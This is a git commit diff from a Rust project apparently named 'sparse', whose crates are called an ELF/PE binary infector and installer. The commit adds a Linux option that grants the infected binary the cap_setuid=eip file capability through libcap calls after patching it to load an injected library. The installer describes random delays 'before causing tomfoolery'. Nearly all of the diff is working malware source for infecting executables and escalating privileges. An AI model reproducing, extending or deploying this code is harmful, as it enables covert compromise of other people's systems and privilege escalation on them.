feat: added the ability to set CAP_SETUID
This commit is contained in:
parent
8d47ac128d
commit
becd0c2f56
3
Cargo.lock
generated
3
Cargo.lock
generated
@ -3258,6 +3258,7 @@ dependencies = [
|
|||||||
name = "sparse-unix-infector"
|
name = "sparse-unix-infector"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
"errno",
|
"errno",
|
||||||
"libc",
|
"libc",
|
||||||
"sparse-actions",
|
"sparse-actions",
|
||||||
@ -3267,7 +3268,9 @@ dependencies = [
|
|||||||
name = "sparse-unix-installer"
|
name = "sparse-unix-installer"
|
||||||
version = "2.0.0"
|
version = "2.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"errno",
|
||||||
"hex",
|
"hex",
|
||||||
|
"libc",
|
||||||
"rand 0.9.0",
|
"rand 0.9.0",
|
||||||
"sparse-actions",
|
"sparse-actions",
|
||||||
"sparse-unix-infector",
|
"sparse-unix-infector",
|
||||||
|
|||||||
@ -7,3 +7,4 @@ version.workspace = true
|
|||||||
libc = "0.2.169"
|
libc = "0.2.169"
|
||||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
errno = "0.3"
|
errno = "0.3"
|
||||||
|
cfg-if = "1.0.0"
|
||||||
|
|||||||
@ -1,10 +1,11 @@
|
|||||||
use std::{
|
use std::{
|
||||||
io::{prelude::*, Error, SeekFrom},
|
io::{prelude::*, Error, SeekFrom},
|
||||||
|
os::fd::AsRawFd,
|
||||||
path::Path,
|
path::Path,
|
||||||
slice,
|
slice,
|
||||||
};
|
};
|
||||||
|
|
||||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
use sparse_actions::payload_types::XOR_KEY;
|
||||||
|
|
||||||
mod elf_types;
|
mod elf_types;
|
||||||
use elf_types::*;
|
use elf_types::*;
|
||||||
@ -22,6 +23,7 @@ pub fn infect_elf_binary<BP, LP>(
|
|||||||
binary_path: BP,
|
binary_path: BP,
|
||||||
target_library_path: LP,
|
target_library_path: LP,
|
||||||
mut sparse_parameters: Vec<u8>,
|
mut sparse_parameters: Vec<u8>,
|
||||||
|
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||||
) -> Result<(), Error>
|
) -> Result<(), Error>
|
||||||
where
|
where
|
||||||
BP: AsRef<Path>,
|
BP: AsRef<Path>,
|
||||||
@ -71,99 +73,20 @@ where
|
|||||||
};
|
};
|
||||||
|
|
||||||
if let ElfIsa::Amd64 = isa {
|
if let ElfIsa::Amd64 = isa {
|
||||||
infect_64bit_elf_binary(target_library_path, binary, binary_data)?;
|
cfg_if::cfg_if! {
|
||||||
|
if #[cfg(target_os = "linux")] {
|
||||||
#[cfg(target_os = "linux")]
|
infect_64bit_elf_binary(
|
||||||
{
|
target_library_path,
|
||||||
use libc::c_int;
|
binary,
|
||||||
|
binary_data,
|
||||||
#[repr(C)]
|
add_setuid_capability,
|
||||||
struct CapT {
|
)?;
|
||||||
__private: [u8; 0],
|
} else {
|
||||||
}
|
infect_64bit_elf_binary(
|
||||||
|
target_library_path,
|
||||||
type CapValue = c_int;
|
binary,
|
||||||
|
binary_data
|
||||||
// cap_flag_t
|
)?;
|
||||||
const CAP_EFFECTIVE: u8 = 0;
|
|
||||||
const CAP_PERMITTED: u8 = 1;
|
|
||||||
const CAP_INHERITABLE: u8 = 2;
|
|
||||||
|
|
||||||
// cap_flag_value_t
|
|
||||||
const CAP_SET: u8 = 0;
|
|
||||||
|
|
||||||
extern "C" {
|
|
||||||
fn cap_free(cap: *mut CapT) -> c_int;
|
|
||||||
fn cap_get_file(filename: *const i8) -> *mut CapT;
|
|
||||||
fn cap_set_flag(
|
|
||||||
cap: *mut CapT,
|
|
||||||
cap_flag: u8,
|
|
||||||
count: c_int,
|
|
||||||
cap_flag_value: *const CapValue,
|
|
||||||
cap_flag_value_t: u8,
|
|
||||||
) -> c_int;
|
|
||||||
fn cap_set_file(filename: *const i8, cap: *mut CapT) -> c_int;
|
|
||||||
}
|
|
||||||
|
|
||||||
// CAP_SETUID
|
|
||||||
let cap_list = [7];
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
let path = std::ffi::CString::new(
|
|
||||||
binary_path
|
|
||||||
.as_ref()
|
|
||||||
.to_str()
|
|
||||||
.expect("could not convert binary path to string"),
|
|
||||||
)
|
|
||||||
.expect("could not convert binary path to string");
|
|
||||||
|
|
||||||
let current_caps = cap_get_file(path.as_ptr());
|
|
||||||
|
|
||||||
println!("Result of getting caps: {}", errno::errno());
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"Result of setting effective caps: {} (errno: {})",
|
|
||||||
cap_set_flag(
|
|
||||||
current_caps,
|
|
||||||
CAP_EFFECTIVE,
|
|
||||||
1,
|
|
||||||
&cap_list[0] as *const _,
|
|
||||||
CAP_SET
|
|
||||||
),
|
|
||||||
errno::errno()
|
|
||||||
);
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"Result of setting permitted caps: {} (errno: {})",
|
|
||||||
cap_set_flag(
|
|
||||||
current_caps,
|
|
||||||
CAP_PERMITTED,
|
|
||||||
1,
|
|
||||||
&cap_list[0] as *const _,
|
|
||||||
CAP_SET
|
|
||||||
),
|
|
||||||
errno::errno()
|
|
||||||
);
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"Result of setting inheritable caps: {} (errno: {})",
|
|
||||||
cap_set_flag(
|
|
||||||
current_caps,
|
|
||||||
CAP_INHERITABLE,
|
|
||||||
1,
|
|
||||||
&cap_list[0] as *const _,
|
|
||||||
CAP_SET
|
|
||||||
),
|
|
||||||
errno::errno()
|
|
||||||
);
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"Result of saving flags: {}, {}",
|
|
||||||
cap_set_file(path.as_ptr(), current_caps),
|
|
||||||
errno::errno()
|
|
||||||
);
|
|
||||||
|
|
||||||
cap_free(current_caps);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -178,10 +101,11 @@ fn infect_64bit_elf_binary<LP, F>(
|
|||||||
library_path: LP,
|
library_path: LP,
|
||||||
mut binary: F,
|
mut binary: F,
|
||||||
mut binary_data: Vec<u8>,
|
mut binary_data: Vec<u8>,
|
||||||
|
#[cfg(target_os = "linux")] add_setuid_capability: bool,
|
||||||
) -> Result<(), Error>
|
) -> Result<(), Error>
|
||||||
where
|
where
|
||||||
LP: AsRef<Path>,
|
LP: AsRef<Path>,
|
||||||
F: Read + Write + Seek,
|
F: Read + Write + Seek + AsRawFd,
|
||||||
{
|
{
|
||||||
let Some(library_name) = library_path.as_ref().file_name() else {
|
let Some(library_name) = library_path.as_ref().file_name() else {
|
||||||
eprintln!("Library name does not contain a valid file path!");
|
eprintln!("Library name does not contain a valid file path!");
|
||||||
@ -359,5 +283,30 @@ where
|
|||||||
binary.seek(SeekFrom::Start(0))?;
|
binary.seek(SeekFrom::Start(0))?;
|
||||||
binary.write(&binary_data)?;
|
binary.write(&binary_data)?;
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
if add_setuid_capability {
|
||||||
|
use libc::c_int;
|
||||||
|
|
||||||
|
type CapT = libc::c_void;
|
||||||
|
|
||||||
|
unsafe extern "C" {
|
||||||
|
fn cap_free(cap: *mut CapT) -> c_int;
|
||||||
|
fn cap_set_fd(fd: c_int, cap: *mut CapT) -> c_int;
|
||||||
|
fn cap_from_text(caps: *const libc::c_char) -> *mut CapT;
|
||||||
|
}
|
||||||
|
|
||||||
|
// CAP_SETUID is 7
|
||||||
|
// CAP_NET_RAW is 13
|
||||||
|
// CAP_SETFCAP is 31
|
||||||
|
// CAP_FOWNER is 3
|
||||||
|
|
||||||
|
unsafe {
|
||||||
|
let current_caps = cap_from_text(c"cap_setuid=eip".as_ptr());
|
||||||
|
cap_set_fd(binary.as_raw_fd(), current_caps);
|
||||||
|
cap_free(current_caps);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
@ -4,7 +4,9 @@ edition = "2024"
|
|||||||
version.workspace = true
|
version.workspace = true
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
|
errno = "0.3.10"
|
||||||
hex = "0.4.3"
|
hex = "0.4.3"
|
||||||
|
libc = "0.2.169"
|
||||||
rand = "0.9.0"
|
rand = "0.9.0"
|
||||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||||
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
||||||
|
|||||||
@ -33,6 +33,11 @@ struct Options {
|
|||||||
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
||||||
#[structopt(long, default_value = "0")]
|
#[structopt(long, default_value = "0")]
|
||||||
delay_seconds_maximum: u8,
|
delay_seconds_maximum: u8,
|
||||||
|
|
||||||
|
/// Whether or not to set the SETUID capability on a binary
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
#[structopt(long)]
|
||||||
|
set_setuid_capability: bool,
|
||||||
}
|
}
|
||||||
|
|
||||||
fn main() -> Result<(), Error> {
|
fn main() -> Result<(), Error> {
|
||||||
@ -78,7 +83,16 @@ fn main() -> Result<(), Error> {
|
|||||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||||
|
|
||||||
|
#[cfg(not(target_os = "linux"))]
|
||||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
infect_elf_binary(
|
||||||
|
opts.binary,
|
||||||
|
opts.library_path,
|
||||||
|
parameters_buffer,
|
||||||
|
opts.set_setuid_capability,
|
||||||
|
)?;
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
@ -1,34 +1,13 @@
|
|||||||
use std::{
|
use std::{
|
||||||
io::{prelude::*, Error, SeekFrom},
|
io::{prelude::*, Error},
|
||||||
path::Path,
|
path::Path,
|
||||||
slice,
|
|
||||||
};
|
};
|
||||||
|
|
||||||
use sparse_actions::payload_types::{Parameters, XOR_KEY};
|
use sparse_actions::payload_types::XOR_KEY;
|
||||||
|
|
||||||
mod pe_types;
|
mod pe_types;
|
||||||
use pe_types::*;
|
use pe_types::*;
|
||||||
|
|
||||||
macro_rules! dbgX {
|
|
||||||
() => {
|
|
||||||
eprintln!("[{}:{}:{}]", file!(), line!(), column!())
|
|
||||||
};
|
|
||||||
($val:expr $(,)?) => {
|
|
||||||
// Use of `match` here is intentional because it affects the lifetimes
|
|
||||||
// of temporaries - https://stackoverflow.com/a/48732525/1063961
|
|
||||||
match $val {
|
|
||||||
tmp => {
|
|
||||||
eprintln!("[{}:{}:{}] {} = {:X?}",
|
|
||||||
file!(), line!(), column!(), stringify!($val), &tmp);
|
|
||||||
tmp
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
($($val:expr),+ $(,)?) => {
|
|
||||||
($(dbgX!($val)),+,)
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(not(debug_assertions))]
|
#[cfg(not(debug_assertions))]
|
||||||
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
|
pub const SPARSE_LIBRARY: &'static [u8] = include_bytes!(std::env!("SPARSE_LIBRARY"));
|
||||||
#[cfg(debug_assertions)]
|
#[cfg(debug_assertions)]
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user